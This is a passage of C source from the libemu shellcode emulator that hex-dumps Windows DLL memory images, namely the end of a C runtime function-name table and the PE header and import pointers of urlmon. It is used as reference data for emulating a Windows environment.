/* 77C2C920 */ "\x75\x6D\x00\x69\x73\x61\x6C\x70\x68\x61\x00\x69\x73\x63\x6E\x74" // um.isalpha.iscnt /* 77C2C930 */ "\x72\x6C\x00\x69\x73\x64\x69\x67\x69\x74\x00\x69\x73\x67\x72\x61" // rl.isdigit.isgra /* 77C2C940 */ "\x70\x68\x00\x69\x73\x6C\x65\x61\x64\x62\x79\x74\x65\x00\x69\x73" // ph.isleadbyte.is /* 77C2C950 */ "\x6C\x6F\x77\x65\x72\x00\x69\x73\x70\x72\x69\x6E\x74\x00\x69\x73" // lower.isprint.is /* 77C2C960 */ "\x70\x75\x6E\x63\x74\x00\x69\x73\x73\x70\x61\x63\x65\x00\x69\x73" // punct.isspace.is /* 77C2C970 */ "\x75\x70\x70\x65\x72\x00\x69\x73\x77\x61\x6C\x6E\x75\x6D\x00\x69" // upper.iswalnum.i /* 77C2C980 */ "\x73\x77\x61\x6C\x70\x68\x61\x00\x69\x73\x77\x61\x73\x63\x69\x69" // swalpha.iswascii /* 77C2C990 */ "\x00\x69\x73\x77\x63\x6E\x74\x72\x6C\x00\x69\x73\x77\x63\x74\x79" // .iswcntrl.iswcty /* 77C2C9A0 */ "\x70\x65\x00\x69\x73\x77\x64\x69\x67\x69\x74\x00\x69\x73\x77\x67" // pe.iswdigit.iswg /* 77C2C9B0 */ "\x72\x61\x70\x68\x00\x69\x73\x77\x6C\x6F\x77\x65\x72\x00\x69\x73" // raph.iswlower.is /* 77C2C9C0 */ "\x77\x70\x72\x69\x6E\x74\x00\x69\x73\x77\x70\x75\x6E\x63\x74\x00" // wprint.iswpunct. /* 77C2C9D0 */ "\x69\x73\x77\x73\x70\x61\x63\x65\x00\x69\x73\x77\x75\x70\x70\x65" // iswspace.iswuppe /* 77C2C9E0 */ "\x72\x00\x69\x73\x77\x78\x64\x69\x67\x69\x74\x00\x69\x73\x78\x64" // r.iswxdigit.isxd /* 77C2C9F0 */ "\x69\x67\x69\x74\x00\x6C\x61\x62\x73\x00\x6C\x64\x65\x78\x70\x00" // igit.labs.ldexp. /* 77C2CA00 */ "\x6C\x64\x69\x76\x00\x6C\x6F\x63\x61\x6C\x65\x63\x6F\x6E\x76\x00" // ldiv.localeconv. /* 77C2CA10 */ "\x6C\x6F\x63\x61\x6C\x74\x69\x6D\x65\x00\x6C\x6F\x67\x00\x6C\x6F" // localtime.log.lo /* 77C2CA20 */ "\x67\x31\x30\x00\x6C\x6F\x6E\x67\x6A\x6D\x70\x00\x6D\x61\x6C\x6C" // g10.longjmp.mall /* 77C2CA30 */ "\x6F\x63\x00\x6D\x62\x6C\x65\x6E\x00\x6D\x62\x73\x74\x6F\x77\x63" // oc.mblen.mbstowc /* 77C2CA40 */ "\x73\x00\x6D\x62\x74\x6F\x77\x63\x00\x6D\x65\x6D\x63\x68\x72\x00" // s.mbtowc.memchr. /* 77C2CA50 */ "\x6D\x65\x6D\x63\x6D\x70\x00\x6D\x65\x6D\x63\x70\x79\x00\x6D\x65" // memcmp.memcpy.me /* 77C2CA60 */ "\x6D\x6D\x6F\x76\x65\x00\x6D\x65\x6D\x73\x65\x74\x00\x6D\x6B\x74" // mmove.memset.mkt /* 77C2CA70 */ "\x69\x6D\x65\x00\x6D\x6F\x64\x66\x00\x70\x65\x72\x72\x6F\x72\x00" // ime.modf.perror. /* 77C2CA80 */ "\x70\x6F\x77\x00\x70\x72\x69\x6E\x74\x66\x00\x70\x75\x74\x63\x00" // pow.printf.putc. /* 77C2CA90 */ "\x70\x75\x74\x63\x68\x61\x72\x00\x70\x75\x74\x73\x00\x70\x75\x74" // putchar.puts.put /* 77C2CAA0 */ "\x77\x63\x00\x70\x75\x74\x77\x63\x68\x61\x72\x00\x71\x73\x6F\x72" // wc.putwchar.qsor /* 77C2CAB0 */ "\x74\x00\x72\x61\x69\x73\x65\x00\x72\x61\x6E\x64\x00\x72\x65\x61" // t.raise.rand.rea /* 77C2CAC0 */ "\x6C\x6C\x6F\x63\x00\x72\x65\x6D\x6F\x76\x65\x00\x72\x65\x6E\x61" // lloc.remove.rena /* 77C2CAD0 */ "\x6D\x65\x00\x72\x65\x77\x69\x6E\x64\x00\x73\x63\x61\x6E\x66\x00" // me.rewind.scanf. /* 77C2CAE0 */ "\x73\x65\x74\x62\x75\x66\x00\x73\x65\x74\x6C\x6F\x63\x61\x6C\x65" // setbuf.setlocale /* 77C2CAF0 */ "\x00\x73\x65\x74\x76\x62\x75\x66\x00\x73\x69\x67\x6E\x61\x6C\x00" // .setvbuf.signal. /* 77C2CB00 */ "\x73\x69\x6E\x00\x73\x69\x6E\x68\x00\x73\x70\x72\x69\x6E\x74\x66" // sin.sinh.sprintf /* 77C2CB10 */ "\x00\x73\x71\x72\x74\x00\x73\x72\x61\x6E\x64\x00\x73\x73\x63\x61" // .sqrt.srand.ssca /* 77C2CB20 */ "\x6E\x66\x00\x73\x74\x72\x63\x61\x74\x00\x73\x74\x72\x63\x68\x72" // nf.strcat.strchr /* 77C2CB30 */ "\x00\x73\x74\x72\x63\x6D\x70\x00\x73\x74\x72\x63\x6F\x6C\x6C\x00" // .strcmp.strcoll. /* 77C2CB40 */ "\x73\x74\x72\x63\x70\x79\x00\x73\x74\x72\x63\x73\x70\x6E\x00\x73" // strcpy.strcspn.s /* 77C2CB50 */ "\x74\x72\x65\x72\x72\x6F\x72\x00\x73\x74\x72\x66\x74\x69\x6D\x65" // trerror.strftime /* 77C2CB60 */ "\x00\x73\x74\x72\x6C\x65\x6E\x00\x73\x74\x72\x6E\x63\x61\x74\x00" // .strlen.strncat. /* 77C2CB70 */ "\x73\x74\x72\x6E\x63\x6D\x70\x00\x73\x74\x72\x6E\x63\x70\x79\x00" // strncmp.strncpy. /* 77C2CB80 */ "\x73\x74\x72\x70\x62\x72\x6B\x00\x73\x74\x72\x72\x63\x68\x72\x00" // strpbrk.strrchr. /* 77C2CB90 */ "\x73\x74\x72\x73\x70\x6E\x00\x73\x74\x72\x73\x74\x72\x00\x73\x74" // strspn.strstr.st /* 77C2CBA0 */ "\x72\x74\x6F\x64\x00\x73\x74\x72\x74\x6F\x6B\x00\x73\x74\x72\x74" // rtod.strtok.strt /* 77C2CBB0 */ "\x6F\x6C\x00\x73\x74\x72\x74\x6F\x75\x6C\x00\x73\x74\x72\x78\x66" // ol.strtoul.strxf /* 77C2CBC0 */ "\x72\x6D\x00\x73\x77\x70\x72\x69\x6E\x74\x66\x00\x73\x77\x73\x63" // rm.swprintf.swsc /* 77C2CBD0 */ "\x61\x6E\x66\x00\x73\x79\x73\x74\x65\x6D\x00\x74\x61\x6E\x00\x74" // anf.system.tan.t /* 77C2CBE0 */ "\x61\x6E\x68\x00\x74\x69\x6D\x65\x00\x74\x6D\x70\x66\x69\x6C\x65" // anh.time.tmpfile /* 77C2CBF0 */ "\x00\x74\x6D\x70\x6E\x61\x6D\x00\x74\x6F\x6C\x6F\x77\x65\x72\x00" // .tmpnam.tolower. /* 77C2CC00 */ "\x74\x6F\x75\x70\x70\x65\x72\x00\x74\x6F\x77\x6C\x6F\x77\x65\x72" // toupper.towlower /* 77C2CC10 */ "\x00\x74\x6F\x77\x75\x70\x70\x65\x72\x00\x75\x6E\x67\x65\x74\x63" // .towupper.ungetc /* 77C2CC20 */ "\x00\x75\x6E\x67\x65\x74\x77\x63\x00\x76\x66\x70\x72\x69\x6E\x74" // .ungetwc.vfprint /* 77C2CC30 */ "\x66\x00\x76\x66\x77\x70\x72\x69\x6E\x74\x66\x00\x76\x70\x72\x69" // f.vfwprintf.vpri /* 77C2CC40 */ "\x6E\x74\x66\x00\x76\x73\x70\x72\x69\x6E\x74\x66\x00\x76\x73\x77" // ntf.vsprintf.vsw /* 77C2CC50 */ "\x70\x72\x69\x6E\x74\x66\x00\x76\x77\x70\x72\x69\x6E\x74\x66\x00" // printf.vwprintf. /* 77C2CC60 */ "\x77\x63\x73\x63\x61\x74\x00\x77\x63\x73\x63\x68\x72\x00\x77\x63" // wcscat.wcschr.wc /* 77C2CC70 */ "\x73\x63\x6D\x70\x00\x77\x63\x73\x63\x6F\x6C\x6C\x00\x77\x63\x73" // scmp.wcscoll.wcs /* 77C2CC80 */ "\x63\x70\x79\x00\x77\x63\x73\x63\x73\x70\x6E\x00\x77\x63\x73\x66" // cpy.wcscspn.wcsf /* 77C2CC90 */ "\x74\x69\x6D\x65\x00\x77\x63\x73\x6C\x65\x6E\x00\x77\x63\x73\x6E" // time.wcslen.wcsn /* 77C2CCA0 */ "\x63\x61\x74\x00\x77\x63\x73\x6E\x63\x6D\x70\x00\x77\x63\x73\x6E" // cat.wcsncmp.wcsn /* 77C2CCB0 */ "\x63\x70\x79\x00\x77\x63\x73\x70\x62\x72\x6B\x00\x77\x63\x73\x72" // cpy.wcspbrk.wcsr /* 77C2CCC0 */ "\x63\x68\x72\x00\x77\x63\x73\x73\x70\x6E\x00\x77\x63\x73\x73\x74" // chr.wcsspn.wcsst /* 77C2CCD0 */ "\x72\x00\x77\x63\x73\x74\x6F\x64\x00\x77\x63\x73\x74\x6F\x6B\x00" // r.wcstod.wcstok. /* 77C2CCE0 */ "\x77\x63\x73\x74\x6F\x6C\x00\x77\x63\x73\x74\x6F\x6D\x62\x73\x00" // wcstol.wcstombs. /* 77C2CCF0 */ "\x77\x63\x73\x74\x6F\x75\x6C\x00\x77\x63\x73\x78\x66\x72\x6D\x00" // wcstoul.wcsxfrm. /* 77C2CD00 */ "\x77\x63\x74\x6F\x6D\x62\x00\x77\x70\x72\x69\x6E\x74\x66\x00\x77" // wctomb.wprintf.w /* 77C2CD10 */ "\x73\x63\x61\x6E\x66\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" // scanf........... /* 77C2CD20 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"; // ................ libemu-0.2.0+git20120122+564/src/environment/win32/dlls/urlmondll.c0000644000175300017530000013303411706767213023256 0ustar dt-npbdt-npbconst char urlmon_7DF20000[]= /* 7DF20000 */ "\x4D\x5A\x90\x00\x03\x00\x00\x00\x04\x00\x00\x00\xFF\xFF\x00\x00" // MZ.......ÿÿ.. /* 7DF20010 */ "\xB8\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00" // ¸.......@....... /* 7DF20020 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" // ................ /* 7DF20030 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xE8\x00\x00\x00" // ............è... /* 7DF20040 */ "\x0E\x1F\xBA\x0E\x00\xB4\x09\xCD\x21\xB8\x01\x4C\xCD\x21\x54\x68" // º.´.Í!¸LÍ!Th /* 7DF20050 */ "\x69\x73\x20\x70\x72\x6F\x67\x72\x61\x6D\x20\x63\x61\x6E\x6E\x6F" // is program canno /* 7DF20060 */ "\x74\x20\x62\x65\x20\x72\x75\x6E\x20\x69\x6E\x20\x44\x4F\x53\x20" // t be run in DOS /* 7DF20070 */ "\x6D\x6F\x64\x65\x2E\x0D\x0D\x0A\x24\x00\x00\x00\x00\x00\x00\x00" // mode....$....... /* 7DF20080 */ "\x52\xC2\x6F\xF0\x16\xA3\x01\xA3\x16\xA3\x01\xA3\x16\xA3\x01\xA3" // RÂo𣣣£££ /* 7DF20090 */ "\xD5\xAC\x5C\xA3\x07\xA3\x01\xA3\x16\xA3\x00\xA3\xC1\xA2\x01\xA3" // Õ¬\££££.£Á¢£ /* 7DF200A0 */ "\xD5\xAC\x0E\xA3\x04\xA3\x01\xA3\xA9\xAC\x61\xA3\x14\xA3\x01\xA3" // Õ¬£££©¬a£££ /* 7DF200B0 */ "\xD5\xAC\x61\xA3\x43\xA3\x01\xA3\xD5\xAC\x5E\xA3\x88\xA3\x01\xA3" // Õ¬a£C££Õ¬^£ˆ££ /* 7DF200C0 */ "\xD5\xAC\x5D\xA3\x17\xA3\x01\xA3\xD5\xAC\x5F\xA3\x17\xA3\x01\xA3" // Õ¬]£££Õ¬_£££ /* 7DF200D0 */ "\xD5\xAC\x5B\xA3\x17\xA3\x01\xA3\x52\x69\x63\x68\x16\xA3\x01\xA3" // Õ¬[£££Rich££ /* 7DF200E0 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x50\x45\x00\x00\x4C\x01\x05\x00" // ........PE..L. /* 7DF200F0 */ "\xF0\xA7\xB8\x45\x00\x00\x00\x00\x00\x00\x00\x00\xE0\x00\x0E\x21" // ð§¸E........à.! /* 7DF20100 */ "\x0B\x01\x07\x0A\x00\x10\x07\x00\x00\x58\x02\x00\x00\x00\x00\x00" // ....X..... /* 7DF20110 */ "\x87\x17\x00\x00\x00\x10\x00\x00\x00\xF0\x06\x00\x00\x00\xF2\x7D" // ‡......ð...ò} /* 7DF20120 */ "\x00\x10\x00\x00\x00\x02\x00\x00\x05\x00\x01\x00\x05\x00\x01\x00" // .......... /* 7DF20130 */ "\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0A\x00\x00\x04\x00\x00" // .............. /* 7DF20140 */ "\x16\x9B\x09\x00\x02\x00\x00\x00\x00\x00\x04\x00\x00\x10\x00\x00" // ›........... /* 7DF20150 */ "\x00\x00\x10\x00\x00\x10\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00" // ............. /* 7DF20160 */ "\x54\x1D\x00\x00\x5D\x0A\x00\x00\xBC\xED\x06\x00\xB4\x00\x00\x00" // T..]...¼í.´... /* 7DF20170 */ "\x00\x00\x08\x00\x24\xAB\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00" // ...$«......... /* 7DF20180 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\xB0\x09\x00\x04\x4C\x00\x00" // .........°..L.. /* 7DF20190 */ "\xF0\x0D\x07\x00\x38\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" // ð..8........... /* 7DF201A0 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" // ................ /* 7DF201B0 */ "\x38\xC6\x02\x00\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" // 8Æ.@........... /* 7DF201C0 */ "\x00\x10\x00\x00\x68\x06\x00\x00\x28\xE8\x06\x00\x80\x00\x00\x00" // ...h..(è.€... /* 7DF201D0 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" // ................ /* 7DF201E0 */ "\x2E\x74\x65\x78\x74\x00\x00\x00\x4F\xFE\x06\x00\x00\x10\x00\x00" // .text...Oþ.... /* 7DF201F0 */ "\x00\x00\x07\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" // .............. /* 7DF20200 */ "\x00\x00\x00\x00\x20\x00\x00\x60\x2E\x6F\x72\x70\x63\x00\x00\x00" // .... ..`.orpc... /* 7DF20210 */ "\x93\x0F\x00\x00\x00\x10\x07\x00\x00\x10\x00\x00\x00\x04\x07\x00" // “......... /* 7DF20220 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\x00\x00\x60" // ............ ..` /* 7DF20230 */ "\x2E\x64\x61\x74\x61\x00\x00\x00\xA0\xDF\x00\x00\x00\x20\x07\x00" // .data... ß... . /* 7DF20240 */ "\x00\x5E\x00\x00\x00\x14\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00" // .^............ /* 7DF20250 */ "\x00\x00\x00\x00\x40\x00\x00\xC0\x2E\x72\x73\x72\x63\x00\x00\x00" // ....@..À.rsrc... /* 7DF20260 */ "\x24\xAB\x01\x00\x00\x00\x08\x00\x00\xAC\x01\x00\x00\x72\x07\x00" // $«.....¬..r. /* 7DF20270 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x40" // ............@..@ /* 7DF20280 */ "\x2E\x72\x65\x6C\x6F\x63\x00\x00\x04\x4C\x00\x00\x00\xB0\x09\x00" // .reloc..L...°.. /* 7DF20290 */ "\x00\x4E\x00\x00\x00\x1E\x09\x00\x00\x00\x00\x00\x00\x00\x00\x00" // .N............. /* 7DF202A0 */ "\x00\x00\x00\x00\x40\x00\x00\x42\x00\x00\x00\x00\x00\x00\x00\x00" // ....@..B........ /* 7DF202B0 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" // ................ /* 7DF202C0 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" // ................ /* 7DF202D0 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" // ................ /* 7DF202E0 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" // ................ /* 7DF202F0 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" // ................ /* 7DF20300 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"; // ................ const char urlmon_7DF21000[]= /* 7DF21000 */ "\x1B\x76\xDA\x77\xC9\xD4\xDC\x77\x53\x77\xDA\x77\x76\x7B\xDA\x77" // vÚwÉÔÜwSwÚwv{Úw /* 7DF21010 */ "\xE4\x7E\xDA\x77\x91\x7A\xDA\x77\x80\x7A\xDA\x77\xF4\xEA\xDA\x77" // ä~Úw‘zÚw€zÚwôêÚw /* 7DF21020 */ "\xE5\xED\xDA\x77\xB5\xC1\xDC\x77\x4A\xCF\xDB\x77\xC1\xC8\xDC\x77" // åíÚwµÁÜwJÏÛwÁÈÜw /* 7DF21030 */ "\xC3\xCA\xDC\x77\x1B\xC4\xDC\x77\x10\xCC\xDC\x77\x23\xC1\xDC\x77" // ÃÊÜwÄÜwÌÜw#ÁÜw /* 7DF21040 */ "\xBB\xD5\xDC\x77\xF0\x6B\xDA\x77\x83\x78\xDA\x77\xE7\xEB\xDA\x77" // »ÕÜwðkÚwƒxÚwçëÚw /* 7DF21050 */ "\x00\x00\x00\x00\xD6\x7F\xEF\x77\x90\x5B\xEF\x77\x8A\x5A\xEF\x77" // ....Öïw[ïwŠZïw /* 7DF21060 */ "\x23\x81\xEF\x77\x21\xB2\xEF\x77\x72\xBA\xEF\x77\xEA\x66\xF0\x77" // #ïw!²ïwrºïwêfðw /* 7DF21070 */ "\xAE\x73\xF0\x77\x0F\x62\xEF\x77\xC7\xA1\xEF\x77\xCC\x72\xF0\x77" // ®sðwbïwÇ¡ïwÌrðw /* 7DF21080 */ "\x99\x71\xF0\x77\x2D\x6C\xEF\x77\xD6\xE8\xEF\x77\x33\x8C\xEF\x77" // ™qðw-lïwÖèïw3Œïw /* 7DF21090 */ "\x00\x00\x00\x00\x77\xDF\x81\x7C\xEE\x1E\x80\x7C\x51\x0E\x81\x7C" // ....w߁|î€|Q| /* 7DF210A0 */ "\x39\x2F\x81\x7C\x97\xCC\x80\x7C\xDA\xCD\x81\x7C\x1D\x2F\x81\x7C" // 9/|—Ì€|Ú́|/| /* 7DF210B0 */ "\x74\xB9\x80\x7C\x5C\x94\x80\x7C\x05\xB9\x80\x7C\xE3\x14\x82\x7C" // t¹€|\”€|¹€|ã‚| /* 7DF210C0 */ "\x3F\xE9\x80\x7C\xD0\xB2\x80\x7C\x51\x31\x91\x7C\xA7\x24\x80\x7C" // ?é€|в€|Q1‘|§$€| /* 7DF210D0 */ "\x2D\x63\x83\x7C\x62\xD2\x80\x7C\xEC\xE7\x80\x7C\xF5\xDD\x80\x7C" // -cƒ|bҀ|ìç€|õ݀| /* 7DF210E0 */ "\x8D\x99\x80\x7C\xD4\xA7\x80\x7C\x19\xB2\x85\x7C\xB1\x4E\x83\x7C" // ™€|Ô§€|²…|±Nƒ| /* 7DF210F0 */ "\xD9\x0A\x81\x7C\xEA\x17\x82\x7C\x1C\x0B\x81\x7C\xA0\xF7\x82\x7C" // Ù.|ê‚| | ÷‚| /* 7DF21100 */ "\x95\x26\x83\x7C\x34\x64\x83\x7C\x56\x2B\x83\x7C\x6B\x17\x80\x7C" // •&ƒ|4dƒ|V+ƒ|k€| /* 7DF21110 */ "\x37\x06\x81\x7C\x03\xCE\x81\x7C\x16\x1E\x80\x7C\x67\x23\x80\x7C" // 7|΁|€|g#€| /* 7DF21120 */ "\x20\x25\x80\x7C\x17\xAE\x81\x7C\x58\xC0\x80\x7C\xE5\x17\x80\x7C" // %€|®|XÀ€|å€| /* 7DF21130 */ "\xEE\x86\x82\x7C\xEA\x4E\x81\x7C\x10\x9F\x80\x7C\x3D\xBF\x80\x7C" // |êN|Ÿ€|=¿€| /* 7DF21140 */ "\x4E\x21\x83\x7C\x24\x55\x83\x7C\xB8\x1C\x83\x7C\x82\x27\x81\x7C" // N!ƒ|$Uƒ|¸ƒ|‚'| /* 7DF21150 */ "\xD9\x37\x81\x7C\xFC\x38\x81\x7C\x40\x03\x92\x7C\x77\xD0\x80\x7C" // Ù7|ü8|@’|wЀ| /* 7DF21160 */ "\xB0\x5B\x83\x7C\x15\xA4\x80\x7C\x41\x4D\x83\x7C\x3C\x15\x81\x7C" // °[ƒ|¤€|AMƒ|<| /* 7DF21170 */ "\x5B\xCF\x81\x7C\x87\x0D\x81\x7C\xAB\x1E\x83\x7C\xCA\x5D\x83\x7C" // [ρ|‡.|«ƒ|Ê]ƒ| /* 7DF21180 */ "\x19\xFF\x80\x7C\xA1\x4D\x83\x7C\x82\xFE\x80\x7C\x24\x1A\x80\x7C" // ÿ€|¡Mƒ|‚þ€|$€| /* 7DF21190 */ "\x77\x0A\x81\x7C\x45\x1C\x83\x7C\x8E\x0B\x81\x7C\x0E\x18\x80\x7C" // w.|Eƒ|Ž |€| /* 7DF211A0 */ "\xD7\xED\x80\x7C\x8D\x1D\x82\x7C\x15\x99\x80\x7C\xFE\x0C\x83\x7C" // ×í€|‚|™€|þ.ƒ| /* 7DF211B0 */ "\xED\x54\x83\x7C\x47\x9B\x80\x7C\x31\x03\x92\x7C\x20\x99\x80\x7C" // íTƒ|G›€|1’| ™€| /* 7DF211C0 */ "\x2F\x99\x80\x7C\x2D\xFD\x80\x7C\x2F\xFC\x80\x7C\x4F\x1D\x80\x7C" // /™€|-ý€|/ü€|O€| /* 7DF211D0 */ "\xC1\xAB\x80\x7C\x9F\x2D\x81\x7C\xD7\x36\x81\x7C\x40\x97\x80\x7C" // Á«€|Ÿ-|×6|@—€| /* 7DF211E0 */ "\xD4\x05\x92\x7C\x3D\x04\x92\x7C\x28\x97\x80\x7C\x01\xBE\x80\x7C" // Ô’|=’|(—€|¾€| /* 7DF211F0 */ "\xB6\xBD\x80\x7C\xCF\xB4\x80\x7C\x74\x0D\x83\x7C\xA1\xBA\x80\x7C" // ¶½€|Ï´€|t.ƒ|¡º€| /* 7DF21200 */ "\x11\x01\x81\x7C\xD4\xA0\x80\x7C\xF8\x9B\x80\x7C\x77\x1D\x80\x7C" // |Ô €|ø›€|w€| /* 7DF21210 */ "\x63\x13\x82\x7C\xDE\x2A\x81\x7C\x56\x2D\x81\x7C\xC5\x9B\x80\x7C" // c‚|Þ*|V-|ś€| /* 7DF21220 */ "\xA1\xB6\x80\x7C\xA0\xAD\x80\x7C\x7A\x97\x80\x7C\x66\x97\x80\x7C" // ¡¶€| ­€|z—€|f—€| /* 7DF21230 */ "\x8A\x18\x92\x7C\xF1\x9E\x80\x7C\xDE\xAB\x80\x7C\x79\x9E\x80\x7C" // Š’|ñž€|Þ«€|yž€| /* 7DF21240 */ "\x01\x9E\x80\x7C\x09\x9A\x80\x7C\xED\x10\x91\x7C\x05\x10\x91\x7C" // ž€|.š€|í‘|‘| /* 7DF21250 */ "\xE7\x4A\x81\x7C\x08\x2F\x81\x7C\xF8\x0E\x81\x7C\xB6\x2B\x81\x7C" // çJ|/|ø|¶+| /* 7DF21260 */ "\xE4\x9A\x80\x7C\xFD\x79\x92\x7C\xED\x09\x92\x7C\x40\x7A\x94\x7C" // 䚀|ýy’|í.’|@z”| /* 7DF21270 */ "\x8E\x97\x80\x7C\xD1\xB9\x80\x7C\x9C\x92\x80\x7C\x29\xB8\x80\x7C" // Ž—€|ѹ€|œ’€|)¸€| /* 7DF21280 */ "\xEF\xB9\x80\x7C\x4B\xAE\x80\x7C\x62\x2E\x86\x7C\xA7\x27\x81\x7C" // ﹀|K®€|b.†|§'| /* 7DF21290 */ "\x76\x2E\x81\x7C\x51\x9A\x80\x7C\x0C\x8A\x83\x7C\x90\xA4\x80\x7C" // v.|Qš€|.Šƒ|¤€| /* 7DF212A0 */ "\xE8\x8D\x83\x7C\xA8\xCC\x80\x7C\x41\x26\x81\x7C\xD0\x1A\x80\x7C" // 荃|¨Ì€|A&|Ѐ| /* 7DF212B0 */ "\x03\xDC\x81\x7C\x27\xA4\x80\x7C\x9D\x47\x84\x7C\xAC\x17\x82\x7C" // ܁|'¤€|G„|¬‚| /* 7DF212C0 */ "\x09\x2A\x81\x7C\x00\x00\x00\x00\xCC\x42\x4F\x77\x20\x22\x5D\x77" // .*|....ÌBOw "]w /* 7DF212D0 */ "\x70\x22\x5D\x77\x99\x33\x4E\x77\x02\xDE\x4C\x77\xDD\x21\x5D\x77" // p"]w™3NwÞLwÝ!]w /* 7DF212E0 */ "\x9C\xCB\x4D\x77\xD5\x21\x5D\x77\x6F\x57\x52\x77\x3D\x79\x4D\x77" // œËMwÕ!]woWRw=yMw /* 7DF212F0 */ "\x53\x0E\x4E\x77\x8D\x42\x4E\x77\x1F\x0D\x4E\x77\x28\xB2\x51\x77" // SNwBNw.Nw(²Qw /* 7DF21300 */ "\xED\x4B\x4E\x77\x1C\xA0\x51\x77\x0B\xA5\x4F\x77\xC3\xFA\x4C\x77" // íKNw Qw ¥OwÃúLw /* 7DF21310 */ "\xB2\x5D\x4E\x77\xD0\xD5\x4D\x77\x03\x0E\x52\x77\x90\xC0\x5A\x77" // ²]NwÐÕMwRwÀZw /* 7DF21320 */ "\xEA\xEA\x54\x77\x2C\xD0\x4C\x77\x48\xD0\x4C\x77\x3A\xE5\x4C\x77" // êêTw,ÐLwHÐLw:åLw /* 7DF21330 */ "\x31\x47\x4F\x77\x00\x00\x00\x00\x2C\x3A\xED\x77\x9F\x38\xE8\x77" // 1GOw....,:íwŸ8èw /* 7DF21340 */ "\xD0\x34\xED\x77\xE5\xA1\xE6\x77\x4D\xB3\xE5\x77\x52\x3B\xED\x77" // Ð4íw塿wM³åwR;íw /* 7DF21350 */ "\x51\x40\xED\x77\xD7\x3A\xED\x77\xEC\x63\xED\x77\x76\x38\xED\x77" // Q@íw×:íwìcíwv8íw /* 7DF21360 */ "\x38\x67\xED\x77\x65\x3A\xED\x77\x71\x3B\xED\x77\x61\x68\xED\x77" // 8gíwe:íwq;íwahíw /* 7DF21370 */ "\x67\x66\xED\x77\xAC\x66\xED\x77\xD3\x66\xED\x77\x5D\x37\xED\x77" // gfíw¬fíwÓfíw]7íw /* 7DF21380 */ "\x49\x38\xEB\x77\x00\x00\x00\x00\x66\x7B\xF4\x77\x99\x7E\xF4\x77" // I8ëw....f{ôw™~ôw /* 7DF21390 */ "\x73\x6B\xF4\x77\xD7\xA3\xF5\x77\x76\x68\xF4\x77\x7D\x3B\xF5\x77" // skôw×£õwvhôw};õw /* 7DF213A0 */ "\x5D\x41\xF4\x77\xF1\x59\xF5\x77\x14\xB9\xF8\x77\x3A\x67\xF4\x77" // ]AôwñYõw¹øw:gôw /* 7DF213B0 */ "\x94\x6E\xF4\x77\x58\x68\xF4\x77\x63\x66\xF4\x77\x10\x36\xF6\x77" // ”nôwXhôwcfôw6öw /* 7DF213C0 */ "\xC3\xFD\xF5\x77\x44\x76\xF4\x77\xA6\xAC\xF9\x77\x1F\x43\xF4\x77" // ÃýõwDvôw¦¬ùwCôw /* 7DF213D0 */ "\xF2\x40\xF4\x77\xB8\x6E\xF4\x77\x87\x6F\xF4\x77\x35\xB1\xF5\x77" // ò@ôw¸nôw‡oôw5±õw /* 7DF213E0 */ "\x8C\x81\xF4\x77\x98\x64\xF5\x77\x87\x45\xF4\x77\x01\x4D\xF4\x77" // Œôw˜dõw‡EôwMôw /* 7DF213F0 */ "\x5C\x48\xF5\x77\x34\xBD\xF8\x77\xE2\x43\xF5\x77\x45\x41\xF6\x77" // \Hõw4½øwâCõwEAöw /* 7DF21400 */ "\xCD\x12\xF5\x77\xCF\x1C\xF8\x77\xBB\x23\xF5\x77\x85\x8D\xF4\x77" // ÍõwÏøw»#õw…ôw /* 7DF21410 */ "\x9A\x8B\xF4\x77\xDF\x49\xF5\x77\xE8\x89\xF4\x77\xBD\x9B\xF5\x77" // š‹ôwßIõwè‰ôw½›õw /* 7DF21420 */ "\x0C\x9C\xF5\x77\x79\xB1\xF5\x77\x46\x9B\xF5\x77\x76\x40\xF4\x77" // .œõwy±õwF›õwv@ôw /* 7DF21430 */ "\x02\x8C\xF4\x77\xFA\xB0\xF5\x77\x94\x7B\xF5\x77\x7F\x6D\xF4\x77" // Œôwú°õw”{õwmôw /* 7DF21440 */ "\x05\x83\xF4\x77\xE3\x5D\xF5\x77\x76\x73\xF4\x77\xE6\x7D\xF4\x77" // ƒôwã]õwvsôwæ}ôw /* 7DF21450 */ "\x6E\xAF\xF4\x77\x03\xAD\xF9\x77\x95\x76\xF4\x77\xCA\xB8\xF5\x77" // n¯ôw­ùw•vôwʸõw /* 7DF21460 */ "\x1B\xE2\xF8\x77\x82\x66\xF4\x77\xFD\x2B\xF5\x77\x42\x1B\xF8\x77" // âøw‚fôwý+õwBøw /* 7DF21470 */ "\x38\x1A\xF8\x77\xD7\x22\xF5\x77\xB5\x50\xF5\x77\xD9\xCB\xF6\x77" // 8øw×"õwµPõwÙËöw /* 7DF21480 */ 